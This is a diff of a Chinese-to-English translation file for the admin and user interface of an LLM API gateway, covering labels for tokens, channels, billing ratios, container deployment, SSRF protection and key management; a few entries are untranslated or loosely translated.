+    "创建令牌默认选择auto分组，初始令牌也将设为auto（否则留空，为用户默认分组）": "Create token with auto group by default, initial token will also be set to auto (otherwise leave blank for user default group)",
+    "创建和管理分组": "Create and Manage Groups",
+    "创建失败": "Creation failed",
+    "创建成功": "Created successfully",
+    "创建或选择密钥时，将 Project 设置为 io.cloud": "When creating or selecting a key, set Project to io.cloud",
+    "创建新用户账户": "Create new user account",
+    "创建新的令牌": "Create New Token",
+    "创建新的兑换码": "Create a new redemption code",
+    "创建新的模型": "Create new model",
+    "创建新的渠道": "Create New Channel",
+    "创建新的订阅套餐": "Create a New Subscription Plan",
+    "创建新的预填组": "Create new pre-filled group",
+    "创建时间": "Creation Time",
+    "创建渠道所需的基本信息": "Basic information needed to create a channel",
+    "创建用户": "Create User",
+    "初始化失败，请重试": "Initialization failed, please retry",
+    "初始化系统": "Initialize system",
+    "删请求头": "",
+    "删除": "Delete",
+    "删除 Key 来源": "Delete Key Source",
+    "删除会彻底移除该订阅记录（含权益明细）。是否继续？": "Deletion will permanently remove this subscription record (including benefit details). Continue?",
+    "删除后无法恢复，确定要删除模型 \"{{name}}\" 吗？": "Cannot be recovered after deletion, are you sure you want to delete model \"{{name}}\"?",
+    "删除失败": "Delete failed",
+    "删除密钥失败": "Failed to delete key",
+    "删除已选 {{selected}} / {{total}}": "",
+    "删除成功": "Delete successful",
+    "删除所选": "Delete Selected",
+    "删除所选令牌": "Delete selected token",
+    "删除所选通道": "Delete selected channels",
+    "删除条件": "Delete Condition",
+    "删除模型": "",
+    "删除禁用密钥失败": "Failed to delete disabled keys",
+    "删除禁用通道": "Delete disabled channels",
+    "删除自动禁用密钥": "Delete auto disabled keys",
+    "删除规则": "Delete Rule",
+    "删除账户": "Delete Account",
+    "删除账户确认": "Delete Account Confirmation",
+    "删除部署失败": "Failed to delete deployment",
+    "刷新": "Refresh",
+    "刷新凭证": "Refresh Credentials",
+    "刷新失败": "Refresh failed",
+    "刷新容器信息": "Refresh Container Info",
+    "刷新日志": "Refresh Logs",
+    "刷新统计": "Refresh Stats",
+    "刷新缓存统计": "Refresh Cache Statistics",
+    "刷新缓存统计失败": "Failed to refresh cache statistics",
+    "刷新页面": "Reload Page",
+    "前：": "Before:",
+    "前往 io.net API Keys": "Go to io.net API Keys",
+    "前往设置": "Go to Settings",
+    "前往设置页面": "Go to Settings Page",
+    "前缀": "Prefix",
+    "前置": "",
+    "剪贴板中未检测到连接信息": "No connection info found in clipboard",
+    "副本数量": "Number of Replicas",
+    "剩余": "Remaining",
+    "剩余备用码：": "Remaining backup codes: ",
+    "剩余时间": "Remaining Time",
+    "剩余额度": "Remaining quota",
+    "剩余额度/总额度": "Remaining/Total",
+    "剩余额度$": "Remaining quota $",
+    "功能特性": "Features",
+    "加入渠道": "Join Channel",
+    "加入预填组": "Join Pre-filled Group",
+    "加密存储": "Encrypted Storage",
+    "加载中...": "Loading...",
+    "加载供应商信息失败": "Failed to load supplier information",
+    "加载关于内容失败...": "Failed to load about content...",
+    "加载分组失败": "Failed to load groups",
+    "加载失败": "Load failed",
+    "加载容器信息中...": "Loading container info...",
+    "加载容器详情中...": "Loading container details...",
+    "加载日志中...": "Loading logs...",
+    "加载模型信息失败": "Failed to load model information",
+    "加载模型列表失败": "Failed to load model list",
+    "加载模型失败": "Failed to load models",
+    "加载用户协议内容失败...": "Failed to load user agreement content...",
+    "加载设置中...": "Loading settings...",
+    "加载详情中...": "Loading details...",
+    "加载账单失败": "Failed to load bills",
+    "加载隐私政策内容失败...": "Failed to load privacy policy content...",
+    "勾选后，该分组会出现在用户创建令牌时的下拉菜单中。未勾选的分组只能由管理员分配，用户自己无法选择。": "When checked, this group appears in the dropdown when users create tokens. Unchecked groups can only be assigned by admin.",
+    "包含": "Contains",
+    "包含来自未知或未标明供应商的AI模型，这些模型可能来自小型供应商或开源项目。": "Includes AI models from unknown or unmarked suppliers, which may come from small suppliers or open-source projects.",
+    "包括失败请求的次数，0代表不限制": "Including failed request times, 0 means no limit",
+    "匹配值": "Match Value",
+    "匹配值（可选）": "Match Value (optional)",
+    "匹配方式": "Match Method",
+    "匹配类型": "Matching type",
+    "区域": "Region",
+    "升级分组": "Upgrade Group",
+    "单GPU小时费率": "Per GPU Hour Rate",
+    "单价 (USD)": "",
+    "历史消耗": "Consumption",
+    "原价": "Original price",
+    "原价，和普通用户一样": "original price, same as regular users",
+    "原因：": "Reason: ",
+    "原密码": "Original Password",
+    "原生格式": "Native format",
+    "原生额度": "Raw quota",
+    "去前缀": "",
+    "去后缀": "",
+    "去处理{{type}}": "",
+    "去空格": "",
+    "去重完成：去重前 {{before}} 个密钥，去重后 {{after}} 个密钥": "Deduplication completed: {{before}} keys before deduplication, {{after}} keys after deduplication",
+    "参与官方同步": "Participate in official sync",
+    "参数": "parameter",
+    "参数传递": "In Parameters",
+    "参数值": "Parameter value",
+    "参数覆盖": "Parameters override",
+    "参数覆盖 JSON 已复制": "Parameter override JSON copied",
+    "参数覆盖已复制": "",
+    "参数覆盖必须是合法的 JSON 对象": "Parameter override must be a valid JSON object",
+    "参数覆盖必须是合法的 JSON 格式！": "Parameter override must be in valid JSON format!",
+    "参数覆盖模板": "Parameter Override Template",
+    "参数覆盖模板 JSON 格式不正确": "Parameter override template JSON format is incorrect",
+    "参数覆盖模板预览": "Parameter Override Template Preview",
+    "参数覆盖详情": "",
+    "参数配置": "Parameter Configuration",
+    "参数配置有误": "Invalid parameter configuration",
+    "参数错误": "Parameter Error",
+    "参照生视频": "Reference video generation",
+    "友情链接": "Friendly links",
+    "发布日期": "Publish Date",
+    "发布时间": "Publish Time",
+    "发现文档地址（Discovery URL，可选）": "Discovery URL (optional)",
+    "发行者 URL（Issuer URL）": "Issuer URL",
+    "取消": "Cancel",
+    "取消全选": "Deselect all",
+    "取消选择": "Deselect",
+    "变换": "Transform",
+    "变更": "Change",
+    "变焦": "zoom",
+    "变量值": "Variable Value",
+    "变量名": "Variable Name",
+    "只包括请求成功的次数": "Only include successful request times",
+    "只支持HTTPS，系统将以POST方式发送通知，请确保地址可以接收POST请求": "Only HTTPS is supported, the system will send notifications via POST, please ensure that the address can receive POST requests",
+    "只有当用户设置开启IP记录时，才会进行请求和错误类型日志的IP记录": "Only when the user sets IP recording, the IP recording of request and error type logs will be performed",
+    "只有配置了规则的组合才会覆盖，未配置的组合仍使用令牌分组的基础倍率。": "Only configured combinations are overridden. Unconfigured combinations still use the token group's base ratio.",
+    "可以根据用户分组增减令牌可选的分组范围。例如 vip 用户额外开放 premium 分组，或移除某个分组的选择权。": "Adjust the selectable group range based on user group. E.g., grant vip users access to premium, or remove access to a group.",
+    "可以根据用户分组设置不同的计费倍率。例如 vip 用户使用 standard 令牌时倍率从 1.0 降为 0.8。": "Set different billing ratios based on user group. E.g., vip users using standard tokens get ratio 0.8 instead of 1.0.",
+    "可信": "Reliable",
+    "可勾选需要执行的变更：新增会加入渠道模型列表，删除会从渠道模型列表移除。": "",
+    "可在设置页面设置关于内容，支持 HTML & Markdown": "The About content can be set on the settings page, supporting HTML & Markdown",
+    "可手动填写，多个 scope 用空格分隔": "Can be filled in manually, separate multiple scopes with spaces",
+    "可用": "Available",
+    "可用令牌分组": "Available token groups",
+    "可用分组": "Available groups",
+    "可用变量：{{provider}} {{field}} {{op}} {{required}} {{current}} 以及 {{current.path}}": "Available variables: {{provider}} {{field}} {{op}} {{required}} {{current}} and {{current.path}}",
+    "可用数量": "Available Quantity",
+    "可用模型": "Available models",
+    "可用空间: {{free}} / 总空间: {{total}}": "Free: {{free}} / Total: {{total}}",
+    "可用端点类型": "Supported endpoint types",
+    "可用邀请额度": "Available invitation quota",
+    "可留空；留空时会尝试使用 Issuer URL + /.well-known/openid-configuration": "Can be left empty; when empty, will try using Issuer URL + /.well-known/openid-configuration",
+    "可视化": "Visualization",
+    "可视化倍率设置": "Visual model ratio settings",
+    "可视化编辑": "Visual editing",
+    "可空": "",
+    "可选，公告的补充说明": "Optional, additional information for the notice",
+    "可选，用于复现结果": "Optional, for reproducibility",
+    "可选：基于用户信息 JSON 做组合条件准入，条件不满足时返回自定义提示": "Optional: Admission based on combined conditions from user info JSON; returns custom message when conditions are not met",
+    "可选：用于自动生成端点或 Discovery URL": "Optional: Used to auto-generate endpoints or Discovery URL",
+    "可选。匹配入口请求的 User-Agent；任意一行作为子串匹配（忽略大小写）即命中。": "Optional. Match the incoming request's User-Agent; any line matched as a substring (case-insensitive) counts as a hit.",
+    "可选。对提取到的亲和 Key 做正则校验；不填表示不校验。": "Optional. Validate the extracted affinity key with regex; leave empty to skip validation.",
+    "可选。对请求路径进行匹配；不填表示匹配所有路径。": "Optional. Match the request path; leave empty to match all paths.",
+    "可选值": "Optional value",
+    "合计：{{total}}": "Total: {{total}}",
+    "合计：文字部分 {{textTotal}} + 音频部分 {{audioTotal}} = {{total}}": "Total: text {{textTotal}} + audio {{audioTotal}} = {{total}}",
+    "同时重置消息": "Reset messages simultaneously",
+    "同步": "Sync",
+    "同步到渠道": "Sync to Channel",
+    "同步向导": "Sync Wizard",
+    "同步失败": "Synchronization failed",
+    "同步字段": "",
+    "同步成功": "Synchronization successful",
+    "同步接口": "Synchronization interface",
+    "同步渠道失败": "Failed to sync channel",
+    "同步渠道失败：缺少部署信息": "Failed to sync channel: Missing deployment info",
+    "同步端点": "Sync Endpoints",
+    "名称": "Name",
+    "名称+密钥": "Name + key",
+    "名称不能为空": "Name cannot be empty",
+    "名称匹配类型": "Name matching type",
+    "后：": "After:",
+    "后端固定": "",
+    "后端固定倍率：{{ratio}}。该字段仅展示换算后的价格。": "Backend fixed ratio: {{ratio}}. This field only displays the converted price.",
+    "后端请求失败": "Backend request failed",
+    "后缀": "Suffix",
+    "向右展开": "Expand right",
+    "向左展开": "Expand left",
+    "否": "No",
+    "启动": "Start",
+    "启动参数 (Args)": "Startup Args",
+    "启动命令": "Startup Command",
+    "启动命令 (Entrypoint)": "Entrypoint",
+    "启动授权失败": "Failed to start authorization",
+    "启动时间": "Startup Time",
+    "启动部署失败": "Failed to start deployment",
+    "启动配置": "Startup Configuration",
+    "启用": "Enable",
+    "启用 io.net 部署": "Enable io.net Deployment",
+    "启用 io.net 部署开关": "Enable io.net Deployment Switch",
+    "启用 io.net 部署时必须填写 API Key": "API Key is required when enabling io.net deployment",
+    "启用 Prompt 检查": "Enable Prompt check",
+    "启用 Waffo": "",
+    "启用2FA失败": "Failed to enable Two-Factor Authentication",
+    "启用Claude思考适配（-thinking后缀）": "Enable Claude thinking adaptation (-thinking suffix)",
+    "启用FunctionCall思维签名填充": "Enable FunctionCall thoughtSignature fill",
+    "启用Gemini思考后缀适配": "Enable Gemini thinking suffix adaptation",
+    "启用Ping间隔": "Enable Ping interval",
+    "启用SMTP SSL": "Enable SMTP SSL",
+    "启用SSRF防护（推荐开启以保护服务器安全）": "Enable SSRF Protection (Recommended for server security)",
+    "启用供应商": "Enable Provider",
+    "启用全部": "Enable all",
+    "启用后可接入 io.net GPU 资源": "After enabling, you can access io.net GPU resources",
+    "启用后可添加图片URL进行多模态对话": "After enabling, you can add image URLs for multimodal conversations",
+    "启用后套餐将在用户端展示。是否继续？": "After enabling, the plan will be shown to users. Continue?",
+    "启用后将优先复用上一次成功的渠道（粘滞选路）。": "When enabled, the last successful channel will be reused preferentially (sticky routing).",
+    "启用后将使用 Creem Test Mode": "Use Creem Test Mode after enabling",
+    "启用后将使用 Waffo 沙盒环境": "",
+    "启用密钥失败": "Failed to enable key",
+    "启用屏蔽词过滤功能": "Enable sensitive word filtering function",
+    "启用性能监控": "Enable Performance Monitoring",
+    "启用性能监控后，当系统资源使用率超过设定阈值时，将拒绝新的 Relay 请求 (/v1, /v1beta 等)，以保护系统稳定性。": "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests (/v1, /v1beta, etc.) will be rejected to protect system stability.",
+    "启用所有密钥失败": "Failed to enable all keys",
+    "启用数据看板（实验性）": "Enable data dashboard (experimental)",
+    "启用此模式后，将使用您自定义的请求体发送API请求，模型配置面板的参数设置将被忽略。": "After enabling this mode, your custom request body will be used to send API requests, and parameter settings in the model configuration panel will be ignored.",
+    "启用状态": "Enabled Status",
+    "启用用户模型请求速率限制（可能会影响高并发性能）": "Enable user model request rate limit (may affect high concurrency performance)",
+    "启用磁盘缓存": "Enable Disk Cache",
+    "启用磁盘缓存后，大请求体将临时存储到磁盘而非内存，可显著降低内存占用，适用于处理包含大量图片/文件的请求。建议在 SSD 环境下使用。": "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. Suitable for requests with large images/files. SSD recommended.",
+    "启用签到功能": "Enable check-in feature",
+    "启用绘图功能": "Enable drawing function",
+    "启用请求体透传功能": "Enable request body pass-through functionality",
+    "启用请求透传": "Enable request pass-through",
+    "启用违规扣费": "Enable violation deduction",
+    "启用额度消费日志记录": "Enable quota consumption logging",
+    "启用验证": "Enable Authentication",
+    "周": "week",
+    "命中判定：usage 中存在 cached tokens（例如 cached_tokens/prompt_cache_hit_tokens）即视为命中。": "Hit determination: Presence of cached tokens in usage (e.g. cached_tokens/prompt_cache_hit_tokens) is considered a hit.",
+    "命中率": "Hit Rate",
+    "命中该亲和规则后，会把此模板合并到渠道参数覆盖中（同名键由模板覆盖）。": "When this affinity rule is matched, the template is merged into the channel parameter overrides (same-name keys are overridden by the template).",
+    "和": "and",
+    "和Claude不同，默认情况下Gemini的思考模型会自动决定要不要思考，就算不开启适配模型也可以正常使用，如果您需要计费，推荐设置无后缀模型价格按思考价格设置。支持使用 gemini-2.5-pro-preview-06-05-thinking-128 格式来精确传递思考预算。": "Unlike Claude, Gemini thinking models automatically decide whether to think by default. They work normally even without the adapter enabled. If you need billing, set the price of models without suffix to the thinking price. Use format like gemini-2.5-pro-preview-06-05-thinking-128 to specify exact thinking budget.",
+    "响应": "Response",
+    "响应时间": "Response time",
+    "响应缺少凭据": "Response missing credentials",
+    "响应缺少授权链接": "Response missing authorization link",
+    "商品价格 ID": "Product Price ID",
+    "商户 ID": "Merchant ID",
+    "回答内容": "Answer Content",
+    "回调 URL 填": "Callback URL Fill",
+    "回调 URL 格式": "Callback URL format",
+    "回调地址": "Callback address",
+    "回调支付方式": "Callback Payment Method",
+    "回调调用者IP": "Callback Caller IP",
+    "回调通知地址": "",
+    "固定价格": "Fixed Price",
+    "固定价格(每次)": "Fixed Price (per use)",
+    "固定价格值": "Fixed Price Value",
+    "图像生成": "Image Generation",
+    "图标": "Icon",
+    "图标使用 react-icons（Simple Icons）或 URL/emoji，例如：github、gitlab、si:google": "Icon uses react-icons (Simple Icons) or URL/emoji, e.g.: github, gitlab, si:google",
+    "图标使用@lobehub/icons库，如：OpenAI、Claude.Color，支持链式参数：OpenAI.Avatar.type={'platform'}、OpenRouter.Avatar.shape={'square'}，查询所有可用图标请 ": "The icon uses the @lobehub/icons library, such as: OpenAI, Claude.Color, supports chain parameters: OpenAI.Avatar.type={'platform'}, OpenRouter.Avatar.shape={'square'}, query all available icons please ",
+    "图标文件不能超过 100KB，请压缩后重新上传": "",
+    "图混合": "Blend",
+    "图片倍率 {{imageRatio}}": "Image ratio {{imageRatio}}",
+    "图片功能在自定义请求体模式下不可用": "Image functionality is not available in custom request body mode",
+    "图片地址": "Image URL",
+    "图片已添加": "Image Added",
+    "图片生成：1 次 * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "Image generation: 1 call * unit price {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "图片生成调用：{{symbol}}{{price}} / 1次": "Image generation call: {{symbol}}{{price}} / 1 time",
+    "图片输入 {{price}} / 1M tokens": "Image input {{price}} / 1M tokens",
+    "图片输入 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Image input {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "图片输入: {{imageRatio}}": "Image input: {{imageRatio}}",
+    "图片输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 图片倍率 {{imageRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Image input: {{tokens}} / 1M * model ratio {{modelRatio}} * image ratio {{imageRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "图片输入价格": "Image Input Price",
+    "图片输入价格 {{symbol}}{{price}} / 1M tokens": "Image input price {{symbol}}{{price}} / 1M tokens",
+    "图片输入价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (图片倍率: {{imageRatio}})": "Image input price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Image ratio: {{imageRatio}})",
+    "图片输入价格：{{symbol}}{{price}} / 1M tokens": "Image input price: {{symbol}}{{price}} / 1M tokens",
+    "图片输入价格：{{symbol}}{{total}} / 1M tokens": "Image input price: {{symbol}}{{total}} / 1M tokens",
+    "图片输入倍率": "",
+    "图片输入倍率（仅部分模型支持该计费）": "Image input ratio (only supported by some models for billing)",
+    "图片输入相关的倍率设置，键为模型名称，值为倍率，仅部分模型支持该计费": "Ratio settings related to image input, key is model name, value is ratio, only supported by some models for billing",
+    "图生文": "Describe",
+    "图生视频": "Image to Video",
+    "在Gotify服务器创建应用后获得的令牌，用于发送通知": "Token obtained after creating an application on the Gotify server, used to send notifications",
+    "在Gotify服务器的应用管理中创建新应用": "Create a new application in the Gotify server's application management",
+    "在找兑换码？": "Looking for a redemption code? ",
+    "在新标签页中打开": "Open in new tab",
+    "在模型广场向用户展示的端点": "Endpoint shown to users in Model Marketplace",
+    "在此输入 Logo 图片地址": "Enter the Logo image URL here",
+    "在此输入新的公告内容，支持 Markdown & HTML 代码": "Enter the new announcement content here, supports Markdown & HTML code",
+    "在此输入新的关于内容，支持 Markdown & HTML 代码。如果输入的是一个链接，则会使用该链接作为 iframe 的 src 属性，这允许你设置任意网页作为关于页面": "Enter new about content here, support Markdown",
+    "在此输入新的页脚，留空则使用默认页脚，支持 HTML 代码": "Enter the new footer here, leave blank to use the default footer, supports HTML code.",
+    "在此输入用户协议内容，支持 Markdown & HTML 代码": "Enter user agreement content here, supports Markdown & HTML code",
+    "在此输入系统名称": "Enter the system name here",
+    "在此输入隐私政策内容，支持 Markdown & HTML 代码": "Enter privacy policy content here, supports Markdown & HTML code",
+    "在此输入首页内容，支持 Markdown & HTML 代码，设置后首页的状态信息将不再显示。如果输入的是一个链接，则会使用该链接作为 iframe 的 src 属性，这允许你设置任意网页作为首页": "Enter the home page content here, supports Markdown",
+    "在默认列表基础上新增一个分组": "Add a new group to the default list",
+    "场景：站点提供两个价格档位，用户可以按需选择": "Scenario: site offers two pricing tiers, users can choose as needed",
+    "场景：站点有 standard 和 premium 两个用户可选分组。希望 vip 用户额外看到 exclusive 分组，同时不再看到 standard 分组": "Scenario: site has standard and premium as selectable groups. Want vip users to see exclusive but not standard",
+    "场景：站点有 standard（倍率 1.0）和 premium（倍率 0.5）两个分组，希望 vip 用户使用 standard 令牌时也能享受折扣": "Scenario: site has standard (ratio 1.0) and premium (ratio 0.5). Want vip users to get a discount on standard tokens too",
+    "场景：设置自动选择优先级": "Scenario: set auto-selection priority",
+    "域名IP过滤详细说明": "Recommended: When enabled, domains are resolved via DNS and the resulting IPs are checked against private address ranges, effectively preventing DNS rebinding attacks that bypass SSRF protection. Note: A domain may resolve to multiple IPv4/IPv6 addresses. If you have configured an IP filter list, ensure it covers these addresses, otherwise access may fail.",
+    "域名白名单": "Domain Whitelist",
+    "域名黑名单": "Domain Blacklist",
+    "基本信息": "Basic Information",
+    "基础价格": "Base Pricing",
+    "基础用户": "Basic user",
+    "填充 Codex CLI / Claude CLI 模版": "Fill Codex CLI / Claude CLI Template",
+    "填充新模板": "Fill New Template",
+    "填充旧模板": "Fill Old Template",
+    "填充模板": "Fill Template",
+    "填充模板：等级+激活": "Fill Template: Level + Activation",
+    "填充模板：等级提示": "Fill Template: Level Prompt",
+    "填充模板：组织或角色": "Fill Template: Organization or Role",
+    "填充模板：组织提示": "Fill Template: Organization Prompt",
+    "填充模板（全渠道）": "Fill template (all channels)",
+    "填充模板（指定渠道）": "Fill template (selected channels)",
+    "填入": "Fill",
+    "填入 CC Switch": "Fill in CC Switch",
+    "填入所有模型": "Fill in all models",
+    "填入来源": "Fill Source",
+    "填入模板": "Fill Template",
+    "填入目标": "Fill Target",
+    "填入相关模型": "Fill Related Models",
+    "填入路径": "Fill Path",
+    "填入透传完整模版": "Fill Full Passthrough Template",
+    "填入透传模版": "Fill Passthrough Template",
+    "填写 Issuer URL 后自动生成：": "Auto-generated after filling in Issuer URL:",
+    "填写Gotify服务器的完整URL地址": "Fill in the complete URL address of the Gotify server",
+    "填写后会自动拼接预设端点": "Preset endpoints will be auto-appended after filling",
+    "填写带https的域名，逗号分隔": "Fill in domains with https, separated by commas",
+    "填写服务器地址后自动生成：": "Auto-generated after entering server address: ",
+    "填写用户协议内容后，用户注册时将被要求勾选已阅读用户协议": "After filling in the user agreement content, users will be required to check that they have read the user agreement during registration",
+    "填写隐私政策内容后，用户注册时将被要求勾选已阅读隐私政策": "After filling in the privacy policy content, users will be required to check that they have read the privacy policy during registration",
+    "填写音频补全价格前，需要先填写音频输入价格。": "Fill in the audio input price before setting the audio completion price.",
+    "处理上游模型更新": "",
+    "处理中": "Processing",
+    "处理全部渠道上游更新": "",
+    "备份支持": "Backup support",
+    "备份状态": "Backup state",
+    "备注": "Remark",
+    "备用恢复代码": "Backup recovery codes",
+    "备用码已复制到剪贴板": "Backup codes copied to clipboard",
+    "备用码重新生成成功": "Backup codes regenerated successfully",
+    "复制": "Copy",
+    "复制代码": "Copy code",
+    "复制令牌": "Copy token",
+    "复制令牌失败": "",
+    "复制全部": "Copy all",
+    "复制名称": "Copy name",
+    "复制失败": "Copy failed",
+    "复制失败，请手动复制": "Copy failed, please copy manually",
+    "复制失败，请手动选择文本复制": "Copy failed, please manually select and copy the text",
+    "复制密钥": "Copy Key",
+    "复制已选": "Copy selected",
+    "复制应用的令牌（Token）并填写到上方的应用令牌字段": "Copy the application token and fill it in the application token field above",
+    "复制成功": "Copy successful",
+    "复制所有代码": "Copy all codes",
+    "复制所有模型": "Copy all models",
+    "复制所选令牌": "Copy selected token",
+    "复制所选兑换码到剪贴板": "Copy selected redemption codes to clipboard",
+    "复制授权链接": "Copy Authorization Link",
+    "复制日志": "Copy Logs",
+    "复制渠道的所有信息": "Copy all information for a channel",
+    "复制版本号": "Copy Version",
+    "复制生成的密钥并粘贴到此处": "Copy the generated key and paste it here",
+    "复制请求头": "",
+    "复制连接信息": "Copy Connection String",
+    "复制链接": "Copy link",
+    "外接设备": "External device",
+    "多个命令用空格分隔": "Multiple commands separated by spaces",
+    "多密钥渠道操作项目组": "Multi-key channel operation project group",
+    "多密钥管理": "Multi-key management",
+    "多种充值方式，安全便捷": "Multiple recharge methods, safe and convenient",
+    "大模型接口网关": "LLM API Gateway",
+    "天": "day",
+    "天前": "days ago",
+    "失败": "Failed",
+    "失败原因": "Failure Reason",
+    "失败后不重试": "No Retry on Failure",
+    "失败后是否重试": "Retry on Failure",
+    "失败时自动禁用通道": "Automatically disable channel on failure",
+    "失败重试次数": "Failed retry times",
+    "奖励说明": "Reward description",
+    "套餐": "Plan",
+    "套餐副标题": "Plan Subtitle",
+    "套餐名称": "Plan Name",
+    "套餐标题": "Plan Title",
+    "套餐标题不能为空": "Package title cannot be empty",
+    "套餐的基本信息和定价": "Basic plan info and pricing",
+    "如：大带宽批量分析图片推荐": "e.g. Large bandwidth batch analysis of image recommendations",
+    "如：香港线路": "e.g. Hong Kong line",
+    "如果亲和到的渠道失败，重试到其他渠道成功后，将亲和更新到成功的渠道。": "If the affinity channel fails, after a successful retry on another channel, the affinity will be updated to the successful channel.",
+    "如果你对接的是上游One API或者New API等转发项目，请使用OpenAI类型，不要使用此类型，除非你知道你在做什么。": "If you are connecting to upstream One API or New API forwarding projects, please use OpenAI type. Do not use this type unless you know what you are doing.",
+    "如果用户请求中包含系统提示词，则使用此设置拼接到用户的系统提示词前面": "If the user request contains a system prompt, this setting will be appended to the user's system prompt",
+    "如果镜像为私有，请填写密码或Token": "If the image is private, please fill in the password or token",
+    "如果镜像为私有，请填写用户名": "If the image is private, please fill in the username",
+    "始终使用浅色主题": "Always use light theme",
+    "始终使用深色主题": "Always use dark theme",
+    "字段映射": "Field Mapping",
+    "字段缺失视为命中": "Missing field treated as hit",
+    "字段路径": "Field Path",
+    "字段透传控制": "Field Pass-through Control",
+    "字段速查": "Field Quick Reference",
+    "存在惩罚，鼓励讨论新话题": "Presence penalty, encourages discussing new topics",
+    "存在重复的分组名称：": "Duplicate group names: ",
+    "存在重复的键名：": "Duplicate key names exist:",
+    "安全提醒": "Security reminder",
+    "安全设置": "Security Settings",
+    "安全验证": "Security verification",
+    "安全验证级别": "Security Verification Level",
+    "安装指南": "Installation Guide",
+    "完成": "Complete",
+    "完成初始化": "Complete initialization",
+    "完成硬件类型、部署位置、副本数量等配置后，将自动计算价格": "Price will be automatically calculated after completing hardware type, deployment location, number of replicas and other configurations",
+    "完成设置并启用两步验证": "Complete setup and enable two-factor authentication",
+    "完成进度": "Completion Progress",
+    "完整流程：": "Full workflow:",
+    "完整的 Base URL，支持变量{model}": "Complete Base URL, supports variable {model}",
+    "官方": "Official",
+    "官方文档": "Official documentation",
+    "官方模型同步": "Official models sync",
+    "官方说明": "Official documentation",
+    "定价模式": "Pricing Mode",
+    "定时测试所有通道": "Periodically test all channels",
+    "定期更改密码可以提高账户安全性": "Regularly changing your password can improve account security",
+    "实付": "Actual payment",
+    "实付金额": "Actual payment amount",
+    "实付金额：": "Actual payment amount: ",
+    "实际模型": "Actual model",
+    "实际结算金额：{{symbol}}{{total}}（已包含分组价格调整）": "Actual charge: {{symbol}}{{total}} (group pricing adjustment included)",
+    "实际请求体": "Actual request body",
+    "审计信息": "Audit Info",
+    "容器": "Container",
+    "容器ID": "Container ID",
+    "容器创建失败: ": "Container creation failed: ",
+    "容器创建成功": "Container created successfully",
+    "容器名称": "Container Name",
+    "容器名称更新成功": "Container name updated successfully",
+    "容器启动后执行的命令": "Command to execute after container starts",
+    "容器启动配置": "Container Startup Configuration",
+    "容器实例": "Container Instance",
+    "容器对外暴露的端口": "Container exposed port",
+    "容器对外服务的端口号，可选": "Port number for external service, optional",
+    "容器总数": "Total Containers",
+    "容器数量": "Number of Containers",
+    "容器日志": "Container Logs",
+    "容器时长延长成功": "Container duration extended successfully",
+    "容器访问地址无效": "Invalid container access address",
+    "容器详情": "Container Details",
+    "容器配置": "Container Configuration",
+    "容器配置更新成功": "Container configuration updated successfully",
+    "容器销毁请求已提交": "Container deletion request submitted",
+    "密码": "Password",
+    "密码修改成功！": "Password changed successfully!",
+    "密码已复制到剪贴板：": "Password has been copied to clipboard: ",
+    "密码已重置并已复制到剪贴板：": "Password has been reset and copied to clipboard: ",
+    "密码管理": "Password Management",
+    "密码重置": "Password Reset",
+    "密码重置完成": "Password reset completed",
+    "密码重置确认": "Password Reset Confirmation",
+    "密码长度至少为8个字符": "Password must be at least 8 characters long",
+    "密钥": "Key",
+    "密钥 JSON 必须包含 access_token": "Key JSON must include access_token",
+    "密钥 JSON 必须包含 account_id": "Key JSON must include account_id",
+    "密钥（编辑模式下，保存的密钥不会显示）": "Key (in edit mode, saved keys will not be displayed)",
+    "密钥去重": "Key deduplication",
+    "密钥将以Bearer方式添加到请求头中，用于验证webhook请求的合法性": "The key will be added to the request header as Bearer to verify the legitimacy of the webhook request",
+    "密钥已删除": "Key has been deleted",
+    "密钥已启用": "Key has been enabled",
+    "密钥已复制到剪贴板": "Key copied to clipboard",
+    "密钥已禁用": "Key has been disabled",
+    "密钥必须是 JSON 对象": "Key must be a JSON object",
+    "密钥必须是合法的 JSON 格式！": "Key must be in valid JSON format!",
+    "密钥文件 (.json)": "Key file (.json)",
+    "密钥更新模式": "Key update mode",
+    "密钥格式": "Key format",
+    "密钥格式无效，请输入有效的 JSON 格式密钥": "Invalid key format, please enter a valid JSON format key",
+    "密钥环境变量": "Secret Environment Variables",
+    "密钥聚合模式": "Key aggregation mode",
+    "密钥获取成功": "Key acquisition successful",
+    "密钥输入方式": "Key input method",
+    "密钥预览": "Key preview",
+    "对于官方渠道，new-api已经内置地址，除非是第三方代理站点或者Azure的特殊接入地址，否则不需要填写": "For official channels, the new-api has a built-in address. Unless it is a third-party proxy site or a special Azure access address, there is no need to fill it in",
+    "对免费模型启用预消耗": "Enable pre-consumption for free models",
+    "对域名启用 IP 过滤（推荐开启）": "Enable IP filtering for domains (recommended)",
+    "对外运营模式": "Default mode",
+    "对比：不勾选「用户可选」的场景": "Comparison: groups without \"User Selectable\"",
+    "对象清理规则": "Object Pruning Rules",
+    "导入": "Import",
+    "导入的配置将覆盖当前设置，是否继续？": "The imported configuration will overwrite the current settings, continue?",
+    "导入配置": "Import configuration",
+    "导入配置失败: ": "Failed to import configuration: ",
+    "导出": "Export",
+    "导出日志失败": "Failed to export logs",
+    "导出配置": "Export configuration",
+    "导出配置失败: ": "Failed to export configuration: ",
+    "将 reasoning_content 转换为 <think> 标签拼接到内容中": "Convert reasoning_content to <think> tags and append to content",
+    "将为选中的 ": "Will set for selected ",
+    "将仅保留第一个密钥文件，其余文件将被移除，是否继续？": "Only the first key file will be retained, and the remaining files will be removed. Continue?",
+    "将删除": "Deleting",
+    "将删除 {{value}} 天前的日志文件。": "Log files older than {{value}} days will be deleted.",
+    "将删除已使用、已禁用及过期的兑换码，此操作不可撤销。": "This will delete all used, disabled, and expired redemption codes, this operation cannot be undone.",
+    "将删除所有仍在内存中的渠道亲和性缓存条目。": "This will delete all channel affinity cache entries still in memory.",
+    "将只保留最近 {{value}} 个日志文件，其余将被删除。": "Only the last {{value}} log files will be retained; the rest will be deleted.",
